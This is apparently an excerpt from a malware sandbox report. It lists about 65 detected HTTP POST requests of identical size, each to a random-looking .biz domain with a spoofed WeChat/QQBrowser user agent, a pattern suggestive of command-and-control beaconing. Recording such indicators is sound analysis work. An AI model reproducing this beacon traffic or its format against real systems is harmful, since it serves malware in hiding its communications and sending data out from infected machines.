Source: global traffic	HTTP traffic detected: POST /oogcd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: whjovd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /cftycvbqsjsfc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gjogvvpsf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /klbxxtxcjep HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gjogvvpsf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /srbpajvg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: reczwga.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /i HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bghjpy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dnmujj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: damcprvgv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /jw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ocsvqjg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /cssyiwvwfakxyln HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ywffr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /asvi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ecxbwt.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dnnoxqpiwspjj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pectx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /srcxcicm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zyiexezl.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ydbxvrfdujat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: banwyw.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /otrjjjdmycgv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wxgzshna.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /klxaypeiwoubq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wxgzshna.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /mcduyucxmuwka HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zrlssa.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /hrucffqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jlqltsjvh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /rc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xyrgy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lmpk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: htwqzczce.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: htwqzczce.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /euqwv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: kvbjaur.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /tlbvmelxpwjipdp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uphca.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /pffvqbu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fjumtfnz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vebfxvjlhsxr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: hlzfuyy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /luseoc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rffxu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ngujcsu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cikivjto.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /iljbyhyeqa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qncdaagct.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ysihuw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: shpwbsrw.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /cbrxaago HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cjvgcl.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /herwmjqyyara HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: neazudmrq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vtxunog HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pgfsvwx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ataqclhdwkpjy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: aatcwo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ruuxvcxs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: kcyvxytog.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /exbxilbdfwja HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: nwdnxrd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /htae HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ereplfx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vkhuh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ptrim.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /wtmpt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: znwbniskf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /neaxbjvxiqaxty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cpclnad.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ap HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mjheo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lpcmjvhkj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wluwplyh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /sjbthkaicrc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zgapiej.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jifai.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /skriadsmnm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xnxvnn.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /wawfta HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ihcnogskt.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qcdcxwrbvorm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: kkqypycm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /x HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uevrpr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lutskhb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fgajqjyhr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /b HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: hagujcj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ljoreepy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: sctmku.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /wbxnuro HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qcrsp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ml HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: sewlqwcd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /mxtehtsjbw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dyjdrp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /mcjaqbne HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: napws.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /jpwoteajscxojhae HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qvuhsaqa.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /mlvudlfi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: apzzls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /icdmsrmds HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: krnsmlmvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: nlscndwp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /lhdfgbabu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bzkysubds.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qscftkkkcjjor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ltpqsnu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /bsw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vnvbt.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /grbkwbsae HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ypituyqsq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vlwdbxkbnakykkgr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ijnmvqa.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /agvjkxoax HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tltxn.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /gopuf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vgypotwp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /cfjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: giliplg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /rtjiyksbemvook HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /gidkqlg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
